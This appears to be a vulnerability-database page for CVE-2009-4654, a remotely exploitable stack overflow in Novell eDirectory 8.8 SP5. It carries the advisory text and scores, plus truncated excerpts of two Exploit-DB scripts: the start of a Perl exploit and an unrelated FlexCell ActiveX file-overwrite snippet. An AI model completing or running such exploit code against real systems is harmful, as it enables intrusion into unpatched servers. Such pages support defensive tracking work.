CVE-2009-4654
published 2010-02-26CVE-2009-4654: Stack-based buffer overflow in the dhost module in Novell eDirectory 8.8 SP5 for Windows allows remote authenticated users to execute arbitrary code via long…
PriorityP353critical9CVSS 2.0
AVNACLAuSCCICAC
EXPLOIT
EPSS
6.76%
93.2th percentile
Stack-based buffer overflow in the dhost module in Novell eDirectory 8.8 SP5 for Windows allows remote authenticated users to execute arbitrary code via long sadminpwd and verifypwd parameters in a submit action to /dhost/httpstk.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| novell | edirectory | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Novell eDirectory - HTTPSTK Login Stack Overflow
exploitdb·2009-11-17
CVE-2009-4654 Novell eDirectory - HTTPSTK Login Stack Overflow
Novell eDirectory - HTTPSTK Login Stack Overflow
---
# Exploit Title: Novell eDirectory HTTPSTK Login Stack Overflow Vulnerability
# Date: 2009-11-17
# Author: karak0rsan
# Software Link: [downoad link if available]
# Version: Novell eDirectory 8.8 SP5 HTTPSTK
# Tested on: [relevant os]
# Code : [exploit code]
#!usr\bin\perl
# Novell eDirectory 8.8 SP5 HTTPSTK BoF Vuln - 0day
# Vulnerability found in Hellcode Labs.
# karak0rsan || murderkey
# info[at]hellcode.net || www.hellcode.net
use WWW::Mechanize;
use LWP::Debug qw(+);
use HTTP::Cookies;
use HTTP::Request::Common;;
$target=$ARGV[0];
if(!$ARGV[0]){
print "Novell eDirectory 8.8 SP5 Exploit\n";
print "Hellcode Research || Hellcode.net\n";
print "Usage:perl $0 [target]\n";
exit();
}
print "Username:";
$username = ;
chomp($
Exploit-DB
FlexCell Grid Control 5.6.9 - Remote File Overwrite
exploitdb·2009-01-26
CVE-2009-0301 FlexCell Grid Control 5.6.9 - Remote File Overwrite
FlexCell Grid Control 5.6.9 - Remote File Overwrite
---
Author : Houssamix
FlexCell Grid Control 5.6.9 Remote File Overwrite Exploit
ExportToXML() is vuln to
/*
Report for Clsid: {2A7D9CCE-211A-4654-9449-718F71ED9644}
RegKey Safe for Script: Faux
RegKey Safe for Init: Faux
Implements IObjectSafety: Vrai
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
*/
function hehe()
{
File = "c:\\hsmx.txt"
hsmx.SaveFile(File)
}
# milw0rm.com [2009-01-26]
No writeups or analysis indexed.
http://downloads.securityfocus.com/vulnerabilities/exploits/37042-2.plhttp://tcc.hellcode.net/advisories/hellcode-adv005.txthttp://tcc.hellcode.net/sploitz/httpstk.txthttp://www.securityfocus.com/archive/1/507926/100/0/threadedhttp://www.securityfocus.com/bid/37042http://www.securitytracker.com/id?1023188https://exchange.xforce.ibmcloud.com/vulnerabilities/54308http://downloads.securityfocus.com/vulnerabilities/exploits/37042-2.plhttp://tcc.hellcode.net/advisories/hellcode-adv005.txthttp://tcc.hellcode.net/sploitz/httpstk.txthttp://www.securityfocus.com/archive/1/507926/100/0/threadedhttp://www.securityfocus.com/bid/37042http://www.securitytracker.com/id?1023188https://exchange.xforce.ibmcloud.com/vulnerabilities/54308
2010-02-26
Published